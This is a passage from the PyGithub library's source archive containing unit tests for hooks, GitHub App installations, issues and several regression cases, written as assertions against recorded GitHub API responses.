startCursor endCursor hasNextPage hasPreviousPage } nodes { databaseId id number title } } } title createdAt comments(first: 10) { totalCount pageInfo { startCursor endCursor hasNextPage hasPreviousPage } nodes { id url createdAt author { login avatarUrl url } isAnswer replies(first: 10) { totalCount pageInfo { startCursor endCursor hasNextPage hasPreviousPage } nodes { id url createdAt author { login avatarUrl url } } } } } labels(first: 10) { totalCount pageInfo { startCursor endCursor hasNextPage hasPreviousPage } nodes { id name issues(first: 10) { totalCount pageInfo { startCursor endCursor hasNextPage hasPreviousPage } nodes { databaseId id number title } } } } """ discussions_pages = repo.get_discussions(discussion_schema) discussions = list(discussions_pages) # would perform an extra request if called before iterating discussions_pages self.assertEqual(discussions_pages.totalCount, 65) self.assertEqual(len(discussions), 65) self.assertEqual(discussions[0].number, 3044) self.assertEqual(discussions[-1].number, 1780) discussion = discussions[28] self.assertEqual(discussion.author.login, "arunanandhan") self.assertEqual(discussion.node_id, "D_kwDOADYVqs4ATJZD") self.assertEqual( discussion.author.avatar_url, "https://avatars.githubusercontent.com/u/48812131?u=571c345a5994a55100a16b45a9688f5d6d340730&v=4", ) self.assertEqual(discussion.author.html_url, "https://github.com/arunanandhan") # inner page of GraphQL comments comments = discussion.get_comments("id") self.assertEqual(comments.totalCount, 1) # does not perform an extra request comments = list(comments) self.assertEqual(len(comments), 1) comment = comments[0] self.assertEqual(comment.node_id, "DC_kwDOADYVqs4AU3Mg") self.assertEqual( comment.html_url, "https://github.com/PyGithub/PyGithub/discussions/2480#discussioncomment-5468960" ) self.assertEqual(comment.author.login, "EnricoMi") # inner inner page of GraphQL replies replies = comment.get_replies() self.assertEqual(replies.totalCount, 5) # does not perform an extra request self.assertEqual(replies[0].node_id, "DC_kwDOADYVqs4AU3Wg") # inner page of REST labels labels_pages = discussions[3].get_labels() self.assertEqual(labels_pages.totalCount, 1) label = labels_pages[0] self.assertEqual(label.name, "Call for Contribution") # inner REST repository repo = discussion.repository issues_pages = repo.get_issues() issue = issues_pages[0] # GraphQL retrieved 10 issues, but repo.get_issues() is not aware of that data # it calls the REST API self.assertEqual(issues_pages.totalCount, 341) self.assertEqual(issue.number, 3045) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Hook.py0000644000175100001660000001353214756101563015406 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class Hook(Framework.TestCase): def setUp(self): super().setUp() self.hook = self.g.get_user().get_repo("PyGithub").get_hook(257993) def testAttributes(self): self.assertTrue(self.hook.active) # WTF self.assertEqual(self.hook.config, {"url": "http://foobar.com"}) self.assertEqual( self.hook.created_at, datetime(2012, 5, 19, 6, 1, 45, tzinfo=timezone.utc), ) self.assertIsNone(self.hook.deliveries_url) self.assertEqual(self.hook.events, ["push"]) self.assertEqual(self.hook.id, 257993) self.assertEqual(self.hook.last_response.status, "ok") self.assertEqual(self.hook.last_response.message, "OK") self.assertEqual(self.hook.last_response.code, 200) self.assertEqual(self.hook.name, "web") self.assertEqual(self.hook.ping_url, "https://api.github.com/repos/jacquev6/PyGithub/hooks/257993/pings") self.assertEqual(self.hook.test_url, "https://api.github.com/repos/jacquev6/PyGithub/hooks/257993/tests") self.assertIsNone(self.hook.type) self.assertEqual( self.hook.updated_at, datetime(2012, 5, 29, 18, 49, 47, tzinfo=timezone.utc), ) self.assertEqual(self.hook.url, "https://api.github.com/repos/jacquev6/PyGithub/hooks/257993") self.assertEqual( self.hook.test_url, "https://api.github.com/repos/jacquev6/PyGithub/hooks/257993/tests", ) self.assertEqual( self.hook.ping_url, "https://api.github.com/repos/jacquev6/PyGithub/hooks/257993/pings", ) self.assertEqual( repr(self.hook), 'Hook(url="https://api.github.com/repos/jacquev6/PyGithub/hooks/257993", id=257993)', ) self.assertEqual(repr(self.hook.last_response), 'HookResponse(status="ok")') def testEditWithMinimalParameters(self): self.hook.edit("web", {"url": "http://foobar.com/hook"}) self.assertEqual(self.hook.config, {"url": "http://foobar.com/hook"}) self.assertEqual( self.hook.updated_at, datetime(2012, 5, 19, 5, 8, 16, tzinfo=timezone.utc), ) def testDelete(self): self.hook.delete() def testTest(self): self.hook.test() # This does not update attributes of hook def testPing(self): self.hook.ping() # This does not update attributes of hook def testEditWithAllParameters(self): self.hook.edit("web", {"url": "http://foobar.com"}, events=["fork", "push"]) self.assertEqual(self.hook.events, ["fork", "push"]) self.hook.edit("web", {"url": "http://foobar.com"}, add_events=["push"]) self.assertEqual(self.hook.events, ["fork", "push"]) self.hook.edit("web", {"url": "http://foobar.com"}, remove_events=["fork"]) self.assertEqual(self.hook.events, ["push"]) self.hook.edit("web", {"url": "http://foobar.com"}, active=True) self.assertTrue(self.hook.active) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Installation.py0000644000175100001660000001706614756101563017155 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Shinichi TAMURA # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2024 Min RK # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from urllib3.exceptions import InsecureRequestWarning import github from github import Consts from github.Auth import AppAuth, AppInstallationAuth from . import Framework, GithubIntegration class Installation(Framework.BasicTestCase): def setUp(self): super().setUp() app_id = 36541767 private_key = GithubIntegration.PRIVATE_KEY self.auth = AppAuth(app_id, private_key) self.integration = github.GithubIntegration(auth=self.auth) self.installations = list(self.integration.get_installations()) self.installation = self.installations[0] def testAttributes(self): self.assertEqual( self.installation.access_tokens_url, "https://api.github.com/app/installations/36541767/access_tokens" ) self.assertEqual(self.installation.account.login, "EnricoMi") self.assertEqual(self.installation.app_id, 319953) self.assertEqual(self.installation.app_slug, "publish-test-results") self.assertIsNone(self.installation.contact_email) self.assertEqual(self.installation.created_at, datetime(2023, 4, 17, 16, 18, 5, tzinfo=timezone.utc)) self.assertEqual(self.installation.events, []) self.assertEqual(self.installation.has_multiple_single_files, False) self.assertEqual(self.installation.html_url, "https://github.com/settings/installations/36541767") self.assertEqual(self.installation.id, 36541767) self.assertEqual( self.installation.permissions, {"checks": "write", "issues": "read", "contents": "read", "metadata": "read", "pull_requests": "write"}, ) self.assertEqual(self.installation.repositories_url, "https://api.github.com/installation/repositories") self.assertEqual(self.installation.repository_selection, "selected") self.assertIsNone(self.installation.single_file_name) self.assertEqual(self.installation.single_file_paths, []) self.assertIsNone(self.installation.suspended_at) self.assertIsNone(self.installation.suspended_by) self.assertEqual(self.installation.target_id, 44700269) self.assertEqual(self.installation.target_type, "User") self.assertEqual(self.installation.updated_at, datetime(2023, 6, 8, 7, 38, 12, tzinfo=timezone.utc)) def testGetRepos(self): repos = list(self.installation.get_repos()) self.assertEqual(len(repos), 2) self.assertListEqual([repo.full_name for repo in repos], ["EnricoMi/sandbox", "EnricoMi/python"]) def testGetGithubForInstallation(self): # with verify=False, urllib3.connectionpool rightly may issue an InsecureRequestWarning # we ignore InsecureRequestWarning from urllib3.connectionpool with self.ignoreWarning(category=InsecureRequestWarning, module="urllib3.connectionpool"): kwargs = dict( auth=AppAuth(319953, GithubIntegration.PRIVATE_KEY), # http protocol used to deviate from default base url, recording data might require https base_url="http://api.github.com", timeout=Consts.DEFAULT_TIMEOUT + 10, user_agent="PyGithub/Python-Test", per_page=Consts.DEFAULT_PER_PAGE + 10, verify=False, retry=3, pool_size=10, seconds_between_requests=100, seconds_between_writes=1000, # v3: this should not be the default value, so if this has been changed in v3, # change it here is well lazy=True, ) # assert kwargs consists of ALL requester constructor arguments self.assertEqual(kwargs.keys(), github.Requester.Requester.__init__.__annotations__.keys()) self.integration = github.GithubIntegration(**kwargs) installations = list(self.integration.get_installations()) installation = installations[0] g = installation.get_github_for_installation() self.assertIsInstance(g._Github__requester.auth, AppInstallationAuth) actual = g._Github__requester.kwargs kwargs.update(auth=str(AppInstallationAuth)) actual.update(auth=str(type(actual["auth"]))) self.assertDictEqual(kwargs, actual) repo = g.get_repo("PyGithub/PyGithub") self.assertEqual(repo.full_name, "PyGithub/PyGithub") def testRequester(self): self.assertEqual(len(self.installations), 1) installation = self.installations[0] assert installation.requester is installation._requester ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue.py0000644000175100001660000003713014756101563015576 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Stuart Glaser # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 @tmshn # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Matt Babineau # # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 sfdye # # Copyright 2019 Filipe Laíns # # Copyright 2019 Nick Campbell # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Huan-Cheng Chang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Nicolas Schweitzer # # Copyright 2024 Enrico Minack # # Copyright 2024 Malik Shahzad Muzaffar # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class Issue(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_repo("PyGithub/PyGithub") self.issue = self.repo.get_issue(28) def testAttributes(self): self.assertIsNone(self.issue.active_lock_reason) self.assertEqual(self.issue.assignee.login, "jacquev6") self.assertListKeyEqual(self.issue.assignees, lambda a: a.login, ["jacquev6"]) self.assertEqual(self.issue.author_association, "MEMBER") self.assertEqual(self.issue.body, "Body edited by PyGithub\n") self.assertIsNone(self.issue.body_html) self.assertIsNone(self.issue.body_text) self.assertEqual(self.issue.closed_at, datetime(2012, 5, 26, 14, 59, 33, tzinfo=timezone.utc)) self.assertEqual(self.issue.closed_by.login, "jacquev6") self.assertEqual(self.issue.comments, 3) self.assertEqual(self.issue.comments_url, "https://api.github.com/repos/PyGithub/PyGithub/issues/28/comments") self.assertEqual(self.issue.created_at, datetime(2012, 5, 19, 10, 38, 23, tzinfo=timezone.utc)) self.assertIsNone(self.issue.draft) self.assertEqual(self.issue.events_url, "https://api.github.com/repos/PyGithub/PyGithub/issues/28/events") self.assertEqual(self.issue.html_url, "https://github.com/PyGithub/PyGithub/issues/28") self.assertEqual(self.issue.id, 4653757) self.assertListKeyEqual(self.issue.labels, lambda lb: lb.name, ["bug", "question"]) self.assertEqual( self.issue.labels_url, "https://api.github.com/repos/PyGithub/PyGithub/issues/28/labels{/name}" ) self.assertEqual(self.issue.locked, False) self.assertEqual(self.issue.milestone.title, "Version 1.4") self.assertEqual(self.issue.node_id, "MDU6SXNzdWU0NjUzNzU3") self.assertEqual(self.issue.number, 28) self.assertIsNone(self.issue.performed_via_github_app) self.assertIsNone(self.issue.pull_request) self.assertEqual( self.issue.reactions, { "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/28/reactions", "total_count": 2, "+1": 0, "-1": 0, "laugh": 0, "hooray": 2, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0, }, ) self.assertEqual(self.issue.repository.full_name, "PyGithub/PyGithub") self.assertEqual(self.issue.repository_url, "https://api.github.com/repos/PyGithub/PyGithub") self.assertEqual(self.issue.score, None) self.assertEqual(self.issue.state, "closed") self.assertEqual(self.issue.state_reason, "completed") self.assertIsNone(self.issue.text_matches) self.assertEqual(self.issue.timeline_url, "https://api.github.com/repos/PyGithub/PyGithub/issues/28/timeline") self.assertEqual(self.issue.title, "Issue created by PyGithub") self.assertEqual(self.issue.updated_at, datetime(2019, 5, 3, 9, 44, 22, tzinfo=timezone.utc)) self.assertEqual(self.issue.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/28") self.assertFalse(self.issue.locked) self.assertIsNone(self.issue.active_lock_reason) self.assertEqual(self.issue.user.login, "jacquev6") self.assertEqual(self.issue.repository.name, "PyGithub") self.assertEqual(repr(self.issue), 'Issue(title="Issue created by PyGithub", number=28)') self.assertEqual( self.issue.reactions, { "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/28/reactions", "total_count": 2, "+1": 0, "-1": 0, "laugh": 0, "hooray": 2, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0, }, ) def testEditWithoutParameters(self): self.issue.edit() def testEditWithAllParameters(self): user = self.g.get_user("jacquev6") milestone = self.repo.get_milestone(2) self.issue.edit( "Title edited by PyGithub", "Body edited by PyGithub", user, "open", milestone, ["Bug"], ["jacquev6"], ) self.assertEqual(self.issue.assignee.login, "jacquev6") self.assertListKeyEqual(self.issue.assignees, lambda a: a.login, ["jacquev6"]) self.assertEqual(self.issue.body, "Body edited by PyGithub") self.assertEqual(self.issue.state, "open") self.assertEqual(self.issue.title, "Title edited by PyGithub") self.assertListKeyEqual(self.issue.labels, lambda lb: lb.name, ["Bug"]) def testEditResetMilestone(self): self.assertEqual(self.issue.milestone.title, "Version 1.4") self.issue.edit(milestone=None) self.assertEqual(self.issue.milestone, None) def testEditResetAssignee(self): self.assertEqual(self.issue.assignee.login, "jacquev6") self.issue.edit(assignee=None) self.assertEqual(self.issue.assignee, None) def testEditWithStateReasonNotPlanned(self): self.issue.edit(state="closed", state_reason="not_planned") self.assertEqual(self.issue.state, "closed") self.assertEqual(self.issue.state_reason, "not_planned") def testEditWithStateReasonReopened(self): self.issue.edit(state="open", state_reason="reopened") self.assertEqual(self.issue.state, "open") self.assertEqual(self.issue.state_reason, "reopened") def testLock(self): self.issue.lock("resolved") def testUnlock(self): self.issue.unlock() def testCreateComment(self): comment = self.issue.create_comment("Comment created by PyGithub") self.assertEqual(comment.id, 5808311) def testGetComments(self): self.assertListKeyEqual(self.issue.get_comments(), lambda c: c.user.login, ["jacquev6", "roskakori"]) def testGetCommentsSince(self): self.assertListKeyEqual( self.issue.get_comments(datetime(2012, 5, 26, 13, 59, 33, tzinfo=timezone.utc)), lambda c: c.user.login, ["jacquev6", "roskakori"], ) def testGetEvents(self): self.assertListKeyEqual(self.issue.get_events(), lambda e: e.id, [15819975, 15820048]) def testGetLabels(self): self.assertListKeyEqual( self.issue.get_labels(), lambda lb: lb.name, ["Bug", "Project management", "Question"], ) def testAddAndRemoveAssignees(self): user1 = "jayfk" user2 = self.g.get_user("jzelinskie") self.assertListKeyEqual(self.issue.assignees, lambda a: a.login, ["jacquev6"]) self.issue.add_to_assignees(user1, user2) self.assertListKeyEqual( self.issue.assignees, lambda a: a.login, ["jacquev6", "jayfk", "jzelinskie"], ) self.issue.remove_from_assignees(user1, user2) self.assertListKeyEqual(self.issue.assignees, lambda a: a.login, ["jacquev6"]) def testAddAndRemoveLabels(self): bug = self.repo.get_label("Bug") question = self.repo.get_label("Question") self.assertListKeyEqual( self.issue.get_labels(), lambda lb: lb.name, ["Bug", "Project management", "Question"], ) self.issue.remove_from_labels(bug) self.assertListKeyEqual( self.issue.get_labels(), lambda lb: lb.name, ["Project management", "Question"], ) self.issue.remove_from_labels(question) self.assertListKeyEqual(self.issue.get_labels(), lambda lb: lb.name, ["Project management"]) self.issue.add_to_labels(bug, question) self.assertListKeyEqual( self.issue.get_labels(), lambda lb: lb.name, ["Bug", "Project management", "Question"], ) def testAddAndRemoveLabelsWithStringArguments(self): bug = "Bug" question = "Question" self.assertListKeyEqual( self.issue.get_labels(), lambda lb: lb.name, ["Bug", "Project management", "Question"], ) self.issue.remove_from_labels(bug) self.assertListKeyEqual( self.issue.get_labels(), lambda lb: lb.name, ["Project management", "Question"], ) self.issue.remove_from_labels(question) self.assertListKeyEqual(self.issue.get_labels(), lambda lb: lb.name, ["Project management"]) self.issue.add_to_labels(bug, question) self.assertListKeyEqual( self.issue.get_labels(), lambda lb: lb.name, ["Bug", "Project management", "Question"], ) def testDeleteAndSetLabels(self): bug = self.repo.get_label("Bug") question = self.repo.get_label("Question") self.assertListKeyEqual( self.issue.get_labels(), lambda lb: lb.name, ["Bug", "Project management", "Question"], ) self.issue.delete_labels() self.assertListKeyEqual(self.issue.get_labels(), None, []) self.issue.set_labels(bug, question) self.assertListKeyEqual(self.issue.get_labels(), lambda lb: lb.name, ["Bug", "Question"]) def testDeleteAndSetLabelsWithStringArguments(self): bug = "Bug" question = "Question" self.assertListKeyEqual( self.issue.get_labels(), lambda lb: lb.name, ["Bug", "Project management", "Question"], ) self.issue.delete_labels() self.assertListKeyEqual(self.issue.get_labels(), None, []) self.issue.set_labels(bug, question) self.assertListKeyEqual(self.issue.get_labels(), lambda lb: lb.name, ["Bug", "Question"]) def testGetReactions(self): reactions = self.issue.get_reactions() self.assertEqual(reactions[0].content, "+1") def testCreateReaction(self): reaction = self.issue.create_reaction("hooray") self.assertEqual(reaction.id, 16917472) self.assertEqual(reaction.content, "hooray") def testDeleteReaction(self): self.assertTrue(self.issue.delete_reaction(85740167)) def testGetTimeline(self): expected_events = { "referenced", "cross-referenced", "locked", "unlocked", "closed", "assigned", "commented", "subscribed", "labeled", } events = self.issue.get_timeline() first = events[0] self.assertEqual(15819975, first.id) self.assertEqual("MDE1OlN1YnNjcmliZWRFdmVudDE1ODE5OTc1", first.node_id) self.assertEqual( "https://api.github.com/repos/PyGithub/PyGithub/issues/events/15819975", first.url, ) self.assertEqual("jacquev6", first.actor.login) self.assertEqual(327146, first.actor.id) self.assertEqual("subscribed", first.event) self.assertIsNone(first.commit_id) self.assertIsNone(first.commit_url) self.assertEqual(repr(first), "TimelineEvent(id=15819975)") for event in events: self.assertIn(event.event, expected_events) self.assertIsNotNone(event.created_at) self.assertIsNotNone(event.actor) if event.event == "cross-referenced": # cross-referenced events don't include an event id or node_id self.assertIsNotNone(event.source) self.assertEqual(event.source.type, "issue") self.assertEqual(event.source.issue.number, 857) self.assertEqual(repr(event.source), 'TimelineEventSource(type="issue")') else: self.assertIsNotNone(event.id) self.assertIsNotNone(event.node_id) if event.event == "commented": self.assertIsNotNone(event.body) else: self.assertIsNone(event.source) self.assertIsNotNone(event.actor) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue131.py0000644000175100001660000000656014756101563016026 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Issue131(Framework.TestCase): # https://github.com/jacquev6/PyGithub/pull/133 def setUp(self): super().setUp() self.user = self.g.get_user() self.repo = self.g.get_user("openmicroscopy").get_repo("ome-documentation") def testGetPullWithOrgHeadUser(self): user = self.repo.get_pull(204).head.user self.assertEqual(user.login, "imcf") self.assertEqual(user.type, "Organization") self.assertEqual(user.__class__.__name__, "NamedUser") # Should be Organization def testGetPullsWithOrgHeadUser(self): for pull in self.repo.get_pulls("closed"): if pull.number == 204: user = pull.head.user self.assertEqual(user, None) # Should be: # self.assertEqual(user.login, 'imcf') # self.assertEqual(user.type, 'Organization') # self.assertEqual(user.__class__.__name__, 'NamedUser') # Should be Organization break else: self.assertTrue(False) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue133.py0000644000175100001660000000542314756101563016025 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Issue133(Framework.TestCase): # https://github.com/jacquev6/PyGithub/pull/133 def setUp(self): super().setUp() self.user = self.g.get_user() def testGetPageWithoutInitialArguments(self): self.assertEqual(len(self.user.get_followers().get_page(0)), 22) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue134.py0000644000175100001660000000744114756101563016030 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import github from . import Framework class Issue134(Framework.BasicTestCase): # https://github.com/jacquev6/PyGithub/pull/134 def testGetAuthorizationsFailsWhenAutenticatedThroughOAuth(self): g = github.Github(auth=self.oauth_token) with self.assertRaises(github.GithubException) as raisedexp: list(g.get_user().get_authorizations()) self.assertIsNone(raisedexp.exception.message) self.assertEqual(raisedexp.exception.status, 404) def testGetAuthorizationsSucceedsWhenAutenticatedThroughLoginPassword(self): g = github.Github(auth=self.login) self.assertListKeyEqual( g.get_user().get_authorizations(), lambda a: a.note, [None, None, "cligh", None, None, "GitHub Android App"], ) def testGetOAuthScopesFromHeader(self): g = github.Github(auth=self.oauth_token) self.assertEqual(g.oauth_scopes, None) g.get_user().name self.assertEqual(g.oauth_scopes, ["repo", "user", "gist"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue139.py0000644000175100001660000000572714756101563016042 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Issue139(Framework.TestCase): # https://github.com/jacquev6/PyGithub/issues/139 def setUp(self): super().setUp() self.user = self.g.get_user().get_repo("PyGithub").get_issue(139).user def testCompletion(self): self.assertFalse(self.user._CompletableGithubObject__completed) self.assertEqual(self.user.name, "Ian Ozsvald") self.assertTrue(self.user._CompletableGithubObject__completed) self.assertEqual(self.user.plan, None) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Issue140.py0000644000175100001660000000735314756101563016027 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 AetherDeity # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Issue140(Framework.TestCase): # https://github.com/jacquev6/PyGithub/issues/140 def setUp(self): super().setUp() self.repo = self.g.get_repo("twitter/bootstrap") def testGetDirContentsThenLazyCompletionOfFile(self): contents = self.repo.get_contents("js") self.assertEqual(len(contents), 15) n = 0 for content in contents: if content.path == "js/bootstrap-affix.js": self.assertEqual(len(content.content), 4722) # Lazy completion n += 1 elif content.path == "js/tests": self.assertEqual(content.content, None) # No completion at all n += 1 self.assertEqual(n, 2) def testGetFileContents(self): contents = self.repo.get_contents("js/bootstrap-affix.js") self.assertEqual(contents.encoding, "base64") self.assertEqual( contents.url, "https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js", ) self.assertEqual(len(contents.content), 4722) def testGetDirContentsWithRef(self): 